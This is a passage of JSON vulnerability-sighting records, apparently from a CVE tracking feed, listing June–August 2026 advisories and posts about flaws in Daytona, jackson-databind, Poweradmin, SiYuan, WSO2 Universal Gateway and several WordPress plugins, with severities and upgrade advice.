"CVE-2026-54321", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moyagoino72a", "content": "CVE-2026-54321 - Daytona: Public sandbox previews remain accessible for up to one hour after being made private\nCVE ID : CVE-2026-54321\n \n Published : June 23, 2026, 6:10 p.m. | 1\u00a0hour, 34\u00a0minutes ago\n \n Description : Daytona is a secure and elastic infrastructure runtime for ...", "creation_timestamp": "2026-06-23T20:28:16.478108Z"}, {"uuid": "88529f5a-1368-45cf-96bf-3c256192e432", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54324", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moyamnmddw26", "content": "CVE-2026-54324 - Daytona: Cross-tenant data leak in notification WebSocket gateway via unverified organizationId join\nCVE ID : CVE-2026-54324\n \n Published : June 23, 2026, 6:07 p.m. | 1\u00a0hour, 36\u00a0minutes ago\n \n Description : Daytona is a secure and elastic infrastructure runtim...", "creation_timestamp": "2026-06-23T20:31:37.115264Z"}, {"uuid": "ea023d80-d15e-4eeb-8580-d8d61ec6e8fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54513", "type": "seen", "source": "https://bsky.app/profile/suriq.io/post/3moyfja6qza2l", "content": "The safety check you added to keep Java's JSON parser safe has a hole.\n\nJackson's allowlist never checks array contents, so a banned class hidden in an array gets built. (CVE-2026-54513)\n\nFix: jackson-databind 2.18.8 / 2.21.4 / 3.1.4.", "creation_timestamp": "2026-06-23T21:59:11.504088Z"}, {"uuid": "cc1443dd-e929-4414-adee-47a1a7221cf2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54588", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moylpvwyu22t", "content": "CVE-2026-54588 - Poweradmin has Host Header Injection in OIDC redirect_uri, SAML ACS/SLO URL, and Logout Redirect Construction.\nCVE ID : CVE-2026-54588\n \n Published : June 23, 2026, 10:09 p.m. | 1\u00a0hour, 34\u00a0minutes ago\n \n Description : Poweradmin is a web-based DNS administrati...", "creation_timestamp": "2026-06-23T23:50:17.512291Z"}, {"uuid": "66b5df75-2164-4eb3-b666-4de16b10ceec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54516", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moym3osjcc2s", "content": "CVE-2026-54516 - jackson-databind: Renamed @JsonIgnore'd setters can deserialize via private fields\nCVE ID : CVE-2026-54516\n \n Published : June 23, 2026, 8:48 p.m. | 2\u00a0hours, 55\u00a0minutes ago\n \n Description : jackson-databind contains the general-purpose data-binding functionali...", "creation_timestamp": "2026-06-23T23:56:52.489295Z"}, {"uuid": "063c27bb-f921-49de-8970-73b75218e36a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54513", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moym72ggiz2y", "content": "CVE-2026-54513 - jackson-databind: Array subtype allowlist bypass in BasicPolymorphicTypeValidator (allowIfSubTypeIsArray)\nCVE ID : CVE-2026-54513\n \n Published : June 23, 2026, 8:53 p.m. | 2\u00a0hours, 50\u00a0minutes ago\n \n Description : jackson-databind contains the general-purpose d...", "creation_timestamp": "2026-06-23T23:58:45.357702Z"}, {"uuid": "cb5f1737-86ed-4b1f-a6d9-b0ed3fbfc9aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54518", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moymgidgrg2f", "content": "CVE-2026-54518 - jackson-databind: @JsonView bypass for unwrapped creator parameters in jackson-databind\nCVE ID : CVE-2026-54518\n \n Published : June 23, 2026, 9:02 p.m. | 2\u00a0hours, 42\u00a0minutes ago\n \n Description : jackson-databind contains the general-purpose data-binding functi...", "creation_timestamp": "2026-06-24T00:02:54.926216Z"}, {"uuid": "34f27d2d-6275-42f0-8f5e-54a0ef5b3446", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54512", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moymp44sqy23", "content": "CVE-2026-54512 - jackson-databind: PolymorphicTypeValidator bypass via generic type parameters allows arbitrary class instantiation\nCVE ID : CVE-2026-54512\n \n Published : June 23, 2026, 8:56 p.m. | 2\u00a0hours, 47\u00a0minutes ago\n \n Description : jackson-databind contains the general-...", "creation_timestamp": "2026-06-24T00:07:43.953015Z"}, {"uuid": "720b4f3e-6684-4cb9-bf59-6fe7677c8a6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54514", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moynnqc2bg23", "content": "CVE-2026-54514 - jackson-databind: InetSocketAddress deserialization triggers eager DNS resolution (SSRF)\nCVE ID : CVE-2026-54514\n \n Published : June 23, 2026, 8:51 p.m. | 2\u00a0hours, 52\u00a0minutes ago\n \n Description : jackson-databind contains the general-purpose data-binding funct...", "creation_timestamp": "2026-06-24T00:24:52.146667Z"}, {"uuid": "679951c6-fa99-4ccc-a2cb-bdd3aee37202", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54515", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moyoilsxlk2y", "content": "CVE-2026-54515 - jackson-databind: Case-insensitive deserialization bypasses per-property @JsonIgnoreProperties\nCVE ID : CVE-2026-54515\n \n Published : June 23, 2026, 8:50 p.m. | 2\u00a0hours, 53\u00a0minutes ago\n \n Description : jackson-databind contains the general-purpose data-binding...", "creation_timestamp": "2026-06-24T00:39:54.785881Z"}, {"uuid": "6ddd9185-6d79-48fb-bf07-0ca158c313a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54133", "type": "seen", "source": "https://gist.github.com/FR-Flo/4864e8932f28b5252a0b20089de8151d", "content": "## \ud83d\udd17 Companion release\n\nThis release ships alongside the **Marketplace-client (frontend)** release PR:\n\n- https://github.com/Wishibam/Marketplace-client/pull/4137\n\n- **Misc**\n    - *:sparkles: feat: store waybills on Scaleway buckets* [\\#7571](https://github.com/Wishibam/Marketplace-api/pull/7571)\n    - *Fix again issues with invoice table* [\\#7577](https://github.com/Wishibam/Marketplace-api/pull/7577)\n    - *:bug: fix: truncate over-long category names before persist* [\\#7578](https://github.com/Wishibam/Marketplace-api/pull/7578)\n    - *:arrow\\_up: deps: bump jmespath.php to 2.9.1 (CVE-2026-54133)* [\\#7579](https://github.com/Wishibam/Marketplace-api/pull/7579)\n    - *chore(deps): bump phpseclib/phpseclib from 3.0.52 to 3.0.54 in /api* [\\#7580](https://github.com/Wishibam/Marketplace-api/pull/7580)\n    - *:bug: Wrong wmsItems status when LineItems are reserved hours appart* [\\#7585](https://github.com/Wishibam/Marketplace-api/pull/7585)\n    - *:arrow\\_up: deps: bump guzzlehttp/guzzle & psr7 (3 CVE)* [\\#7587](https://github.com/Wishibam/Marketplace-api/pull/7587)\n    - *:wrench: chore: relax composer php upper-bound for PHP 8.5 deploy* [\\#7590](https://github.com/Wishibam/Marketplace-api/pull/7590)\n    - *fix(feed): preserve newlines (\\n) in product description on import* [\\#7591](https://github.com/Wishibam/Marketplace-api/pull/7591)", "creation_timestamp": "2026-06-24T11:40:04.000000Z"}, {"uuid": "9666ca25-7202-4e8b-ae31-b7ff69df8c5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54317", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mozvbqteme22", "content": "CVE-2026-54317 - Authentication Bypass in Home Assistant. Konnected integration exposes an unauthenticated HTTP endpoint allowing unauthorized write requests. CVSS 7.6. Update to 2026.6.0 immediately. #CVE #HomeAssistant #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-54317/", "creation_timestamp": "2026-06-24T12:13:59.508829Z"}, {"uuid": "cc545c76-0f84-4394-b043-0a20c8a2884c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54133", "type": "seen", "source": "https://gist.github.com/FR-Flo/4f57639ecc47b4437241e84a1fc5ab0e", "content": "## \ud83d\udd17 Companion release\n\nThis release ships alongside the **Marketplace-client (frontend)** release PR:\n\n- https://github.com/Wishibam/Marketplace-client/pull/4137\n\n- **Trello**\n    - [Traitement Cloudinary de la premi\u00e8re image de variation](https://trello.com/c/YuiI3bne/2449-traitement-cloudinary-de-la-premi%C3%A8re-image-de-variation) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *:sparkles: feat: process first variation image via Cloudinary preset* [\\#7592](https://github.com/Wishibam/Marketplace-api/pull/7592)\n \n- **Misc**\n    - *:sparkles: feat: store waybills on Scaleway buckets* [\\#7571](https://github.com/Wishibam/Marketplace-api/pull/7571)\n    - *Fix again issues with invoice table* [\\#7577](https://github.com/Wishibam/Marketplace-api/pull/7577)\n    - *:bug: fix: truncate over-long category names before persist* [\\#7578](https://github.com/Wishibam/Marketplace-api/pull/7578)\n    - *:arrow\\_up: deps: bump jmespath.php to 2.9.1 (CVE-2026-54133)* [\\#7579](https://github.com/Wishibam/Marketplace-api/pull/7579)\n    - *chore(deps): bump phpseclib/phpseclib from 3.0.52 to 3.0.54 in /api* [\\#7580](https://github.com/Wishibam/Marketplace-api/pull/7580)\n    - *:bug: Wrong wmsItems status when LineItems are reserved hours appart* [\\#7585](https://github.com/Wishibam/Marketplace-api/pull/7585)\n    - *:arrow\\_up: deps: bump guzzlehttp/guzzle & psr7 (3 CVE)* [\\#7587](https://github.com/Wishibam/Marketplace-api/pull/7587)\n    - *:wrench: chore: relax composer php upper-bound for PHP 8.5 deploy* [\\#7590](https://github.com/Wishibam/Marketplace-api/pull/7590)\n    - *fix(feed): preserve newlines (\\n) in product description on import* [\\#7591](https://github.com/Wishibam/Marketplace-api/pull/7591)\n    - *fix(media): flush before Factory call so VichUploader sets contentUrl before URL is built* [\\#7594](https://github.com/Wishibam/Marketplace-api/pull/7594)", "creation_timestamp": "2026-06-24T14:42:22.006334Z"}, {"uuid": "03c0a40a-b11b-4f2f-9c50-20cd3a85e30f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54236", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-54236.yaml", "content": "", "creation_timestamp": "2026-06-24T15:00:05.375630Z"}, {"uuid": "19c63dbc-0001-40a2-b01d-1791583535e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54133", "type": "seen", "source": "https://gist.github.com/FR-Flo/526730327e172a1ee1ab99b5fdfb0b9b", "content": "## \ud83d\udd17 Companion release\n\nThis release ships alongside the **Marketplace-client (frontend)** release PR:\n\n- https://github.com/Wishibam/Marketplace-client/pull/4137\n\n- **Trello**\n    - [\ud83d\udd0d WMS - PICKING - Recherche au-del\u00e0 de la limite des 30 commandes](https://trello.com/c/cw1UsrG7/2427-%F0%9F%94%8D-wms-picking-recherche-au-del%C3%A0-de-la-limite-des-30-commandes) **In review WMS**\n        - *:sparkles: Add new search options for packing view* [\\#7589](https://github.com/Wishibam/Marketplace-api/pull/7589)\n    - [Traitement Cloudinary de la premi\u00e8re image de variation](https://trello.com/c/YuiI3bne/2449-traitement-cloudinary-de-la-premi%C3%A8re-image-de-variation) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *:sparkles: feat: process first variation image via Cloudinary preset* [\\#7592](https://github.com/Wishibam/Marketplace-api/pull/7592)\n    - [\ud83d\udce6\u2611\ufe0f WMS \u2014 Tri des colis : d\u00e9p\u00f4t de masse pour l'exp\u00e9dition (syst\u00e8me de coches)](https://trello.com/c/oMuGHbGB/2429-%F0%9F%93%A6%E2%98%91%EF%B8%8F-wms-tri-des-colis-d%C3%A9p%C3%B4t-de-masse-pour-lexp%C3%A9dition-syst%C3%A8me-de-coches) **In review WMS**\n        - *:sparkles: WMS rework massTransfer on TriShipping* [\\#7593](https://github.com/Wishibam/Marketplace-api/pull/7593)\n \n- **Misc**\n    - *:sparkles: feat: store waybills on Scaleway buckets* [\\#7571](https://github.com/Wishibam/Marketplace-api/pull/7571)\n    - *Fix again issues with invoice table* [\\#7577](https://github.com/Wishibam/Marketplace-api/pull/7577)\n    - *:bug: fix: truncate over-long category names before persist* [\\#7578](https://github.com/Wishibam/Marketplace-api/pull/7578)\n    - *:arrow\\_up: deps: bump jmespath.php to 2.9.1 (CVE-2026-54133)* [\\#7579](https://github.com/Wishibam/Marketplace-api/pull/7579)\n    - *chore(deps): bump phpseclib/phpseclib from 3.0.52 to 3.0.54 in /api* [\\#7580](https://github.com/Wishibam/Marketplace-api/pull/7580)\n    - *:bug: Wrong wmsItems status when LineItems are reserved hours appart* [\\#7585](https://github.com/Wishibam/Marketplace-api/pull/7585)\n    - *:arrow\\_up: deps: bump guzzlehttp/guzzle & psr7 (3 CVE)* [\\#7587](https://github.com/Wishibam/Marketplace-api/pull/7587)\n    - *:wrench: chore: relax composer php upper-bound for PHP 8.5 deploy* [\\#7590](https://github.com/Wishibam/Marketplace-api/pull/7590)\n    - *fix(feed): preserve newlines (\\n) in product description on import* [\\#7591](https://github.com/Wishibam/Marketplace-api/pull/7591)\n    - *fix(media): flush before Factory call so VichUploader sets contentUrl before URL is built* [\\#7594](https://github.com/Wishibam/Marketplace-api/pull/7594)", "creation_timestamp": "2026-06-24T15:44:37.193916Z"}, {"uuid": "40c12c82-63fe-4822-b160-7d165cba80b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54588", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mp2fjn4xgw2o", "content": "CVE-2026-54588 - Critical OIDC/SAML redirect_uri poisoning in Poweradmin. Unauthenticated attacker can steal auth codes via HTTP_HOST header injection. CVSS 9.6. No patch available. Disable OIDC/SAML until fixed. #CVE #infosec #Poweradmin\n\nhttps://www.valtersit.com/cve/CVE-2026-54588/", "creation_timestamp": "2026-06-24T17:04:44.070193Z"}, {"uuid": "7478d9fb-d4ae-467f-b72b-bd1f242e1d76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54982", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevata-nuova-vulnerabilita-in-erlang-plug", "content": "", "creation_timestamp": "2026-06-24T17:45:03.590425Z"}, {"uuid": "a81b2f1e-c34b-400e-b3d4-9b7bdae7bc65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54904", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp2ungvwp42p", "content": "CVE-2026-54904 - concurrent-ruby: `AtomicReference#update` livelocks when the stored value is `Float::NAN`\nCVE ID : CVE-2026-54904\n \n Published : June 24, 2026, 3:44 p.m. | 5\u00a0hours, 26\u00a0minutes ago\n \n Description : concurrent-ruby is a modern concurrency tools for Ruby. Prior t...", "creation_timestamp": "2026-06-24T21:35:17.600299Z"}, {"uuid": "41603fc1-8248-4596-916e-0698e7de8c66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54236", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-54236.yaml", "content": "", "creation_timestamp": "2026-06-25T00:00:04.604049Z"}, {"uuid": "f6cedd9a-41e2-4edd-a868-99f7c4fc130f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54067", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp3bm7kwmr25", "content": "CVE-2026-54067 - SiYuan: Stored XSS to RCE via CSS-snippet breakout in renderSnippet()\nCVE ID : CVE-2026-54067\n \n Published : June 24, 2026, 9:14 p.m. | 3\u00a0hours, 56\u00a0minutes ago\n \n Description : SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, CSS ...", "creation_timestamp": "2026-06-25T01:27:15.025006Z"}, {"uuid": "87a0b1bf-6f7f-4c44-8c3e-af7732f2bba3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-5430", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/117047743616861031", "content": "WSO2 Universal Gateway v4.5.0 & 4.6.0 affected by CRITICAL CVE-2026-5430 (CVSS 10.0). Improper JWT validation enables account takeover. No patch yet \u2014 apply compensating controls. https://radar.offseq.com/threat/cve-2026-5430-cwe-347-improper-validation-of-certificate-with-host-mismatch-in-wso2-wso2-universal-f913080655427dd8 #OffSeq #WSO2 #JWT #Vulnerability", "creation_timestamp": "2026-08-06T09:00:30.800898Z"}, {"uuid": "b77c8501-b4db-4547-9f1d-1b79fc189f5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54158", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp3cq5vxrr2t", "content": "CVE-2026-54158 - SiYuan: Stored XSS to RCE via attribute-view cell rendering in genAVValueHTML()\nCVE ID : CVE-2026-54158\n \n Published : June 24, 2026, 9:19 p.m. | 3\u00a0hours, 51\u00a0minutes ago\n \n Description : SiYuan is an open-source personal knowledge management system. Prior to 3...", "creation_timestamp": "2026-06-25T01:47:21.416738Z"}, {"uuid": "6af79742-7247-4389-a30a-21f22321b00f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54158", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mp3lttwe2q2w", "content": "SiYuan (<3.7.0) hit by CRITICAL XSS (CVE-2026-54158) enabling persistent JavaScript injection and possible RCE on Electron clients. Upgrade to 3.7.0+ immediately. Details: https://radar.offseq.com/threat/cve-2026-54158-cwe-79-improper-neutralization-of-i-cee0850f8d1e1264 #OffSeq #CVE202654158 #Si...", "creation_timestamp": "2026-06-25T04:30:29.289348Z"}, {"uuid": "885b75b3-5832-4b92-9ed1-42858ebbc525", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54158", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116808864665371066", "content": "CVE-2026-54158: CRITICAL XSS in SiYuan (<3.7.0) allows persistent JS injection; on Electron clients, can escalate to RCE. Upgrade to 3.7.0+ ASAP. No active exploits reported. https://radar.offseq.com/threat/cve-2026-54158-cwe-79-improper-neutralization-of-i-cee0850f8d1e1264 #OffSeq #XSS #CVE202654158 #SiYuan", "creation_timestamp": "2026-06-25T04:30:32.778489Z"}, {"uuid": "695bdde2-1b2f-4d68-a423-4fb0781220b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54226", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mp3mb47lnx25", "content": "CVE-2026-54226: Apache Kvrocks: RESTORE IntSet Integer Overflow Leads to Remote DoS", "creation_timestamp": "2026-06-25T04:37:53.517981Z"}, {"uuid": "31dad500-a395-49aa-85f6-56a77d9fe2b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-5430", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3msfojgm2gi26", "content": "CRITICAL vuln: CVE-2026-5430 in WSO2 Universal Gateway (4.5.0/4.6.0) allows JWT auth bypass and full account takeover. No patch \u2014 restrict access & monitor logins. \ud83d\udd10 https://radar.offseq.com/threat/cve-2026-5430-cwe-347-improper-validation-of-certificate-with-host-mismatch-in-wso2-wso2-universal-...", "creation_timestamp": "2026-08-06T09:00:33.688442Z"}, {"uuid": "5022fc94-944b-4f38-96f2-b70b049f02f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5423", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3msq7juqo632n", "content": "CVE-2026-5423 is an authentication bypass in @neo4j/graphql that lets unauthenticated clients forge JWT claims and read subscription data.\n\n#Neo4j #GraphQL #CVE20265423 #AuthenticationBypass #JWT #InfoSec", "creation_timestamp": "2026-08-10T13:31:39.047920Z"}, {"uuid": "da1382f4-c7e7-447d-a48b-123dd2dfc59b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5430", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3msfopshjtl2s", "content": "CVE-2026-5430\nThe JWT authentication in [Software Name] can accept tokens signed with unknown algorithms, allowing attackers to gain unauthorized access to the system. This could lead to the compromise of administrative\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-08-06T09:04:06.494696Z"}, {"uuid": "e4279710-7e37-4ca1-84b1-206e41be3b1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54823", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp4pyox3mc2j", "content": "CVE-2026-54823 - WordPress Widget Options plugin\nCVE ID : CVE-2026-54823\n \n Published : June 25, 2026, 1:12 p.m. | 1\u00a0hour, 58\u00a0minutes ago\n \n Description : Contributor Remote Code Execution (RCE) in Widget Options <= 4.2.3 versions.\n \n Severity: 9.9 | CRITICAL\n \n Visit the l...", "creation_timestamp": "2026-06-25T15:17:26.150297Z"}, {"uuid": "2ec51950-13d0-43a2-9ef6-23f1a55f4d73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54838", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp4q4kjr7m2f", "content": "CVE-2026-54838 - WordPress WC Vendors Marketplace plugin\nCVE ID : CVE-2026-54838\n \n Published : June 25, 2026, 1:12 p.m. | 1\u00a0hour, 58\u00a0minutes ago\n \n Description : Subscriber SQL Injection in WC Vendors Marketplace <= 2.6.8 versions.\n \n Severity: 8.5 | HIGH\n \n Visit the link...", "creation_timestamp": "2026-06-25T15:19:35.576890Z"}, {"uuid": "d6190c2b-e440-41ed-af2f-84a8b53a5727", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54822", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp4qap4vhl2e", "content": "CVE-2026-54822 - WordPress SALESmanago & Leadoo plugin\nCVE ID : CVE-2026-54822\n \n Published : June 25, 2026, 1:12 p.m. | 1\u00a0hour, 58\u00a0minutes ago\n \n Description : Subscriber SQL Injection in SALESmanago & Leadoo <= 3.11.2 versions.\n \n Severity: 8.5 | HIGH\n \n Visit the lin...", "creation_timestamp": "2026-06-25T15:21:54.584825Z"}, {"uuid": "bc45943f-8e5a-4d92-8c07-5218ddbb12de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54836", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp4qf6ns552t", "content": "CVE-2026-54836 - WordPress Filter & Grids plugin\nCVE ID : CVE-2026-54836\n \n Published : June 25, 2026, 1:17 p.m. | 1\u00a0hour, 53\u00a0minutes ago\n \n Description : Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in YMC Filter allows SQ...", "creation_timestamp": "2026-06-25T15:24:25.054372Z"}, {"uuid": "a8123d69-84d1-40f2-9e41-b3bccb7403eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54848", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp4qk3eyg22n", "content": "CVE-2026-54848 - WordPress APIExperts Square for WooCommerce plugin\nCVE ID : CVE-2026-54848\n \n Published : June 25, 2026, 1:26 p.m. | 1\u00a0hour, 44\u00a0minutes ago\n \n Description : Insertion of Sensitive Information Into Sent Data vulnerability in Saad Iqbal APIExperts Square for Woo...", "creation_timestamp": "2026-06-25T15:27:09.509396Z"}, {"uuid": "3a72a9d4-0bec-43d1-b1f7-7318eeca43dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54849", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp4qpi25kb2l", "content": "CVE-2026-54849 - WordPress Premmerce Wishlist for WooCommerce plugin\nCVE ID : CVE-2026-54849\n \n Published : June 25, 2026, 1:12 p.m. | 1\u00a0hour, 58\u00a0minutes ago\n \n Description : Unauthenticated SQL Injection in Premmerce Wishlist for WooCommerce <= 1.1.11 versions.\n \n Severity...", "creation_timestamp": "2026-06-25T15:30:10.385032Z"}, {"uuid": "959d1ab7-9bad-4e14-bd1f-c8591e5afd8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54843", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp4rdtpb6j2j", "content": "CVE-2026-54843 - WordPress MDTF plugin\nCVE ID : CVE-2026-54843\n \n Published : June 25, 2026, 1:12 p.m. | 1\u00a0hour, 58\u00a0minutes ago\n \n Description : Unauthenticated SQL Injection in MDTF <= 1.3.7 versions.\n \n Severity: 9.3 | CRITICAL\n \n Visit the link for more details, such as ...", "creation_timestamp": "2026-06-25T15:41:34.044280Z"}, {"uuid": "6f0d333e-8f00-46fa-9644-da616a53b4a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54845", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp4rmsapsq2e", "content": "CVE-2026-54845 - WordPress MDTF plugin\nCVE ID : CVE-2026-54845\n \n Published : June 25, 2026, 1:12 p.m. | 1\u00a0hour, 58\u00a0minutes ago\n \n Description : Unauthenticated Local File Inclusion in MDTF <= 1.3.8 versions.\n \n Severity: 8.1 | HIGH\n \n Visit the link for more details, such ...", "creation_timestamp": "2026-06-25T15:46:34.241334Z"}, {"uuid": "f2b25925-3738-4439-853e-fed45b6db471", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54842", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp4rvrpi3o2j", "content": "CVE-2026-54842 - WordPress Royal MCP plugin\nCVE ID : CVE-2026-54842\n \n Published : June 25, 2026, 1:16 p.m. | 1\u00a0hour, 54\u00a0minutes ago\n \n Description : Missing Authorization vulnerability in Royal Plugins Royal MCP allows Exploiting Incorrectly Configured Access Control Security...", "creation_timestamp": "2026-06-25T15:51:35.826624Z"}, {"uuid": "8356fa6d-0c31-43c9-bab6-2dde4f44bfab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 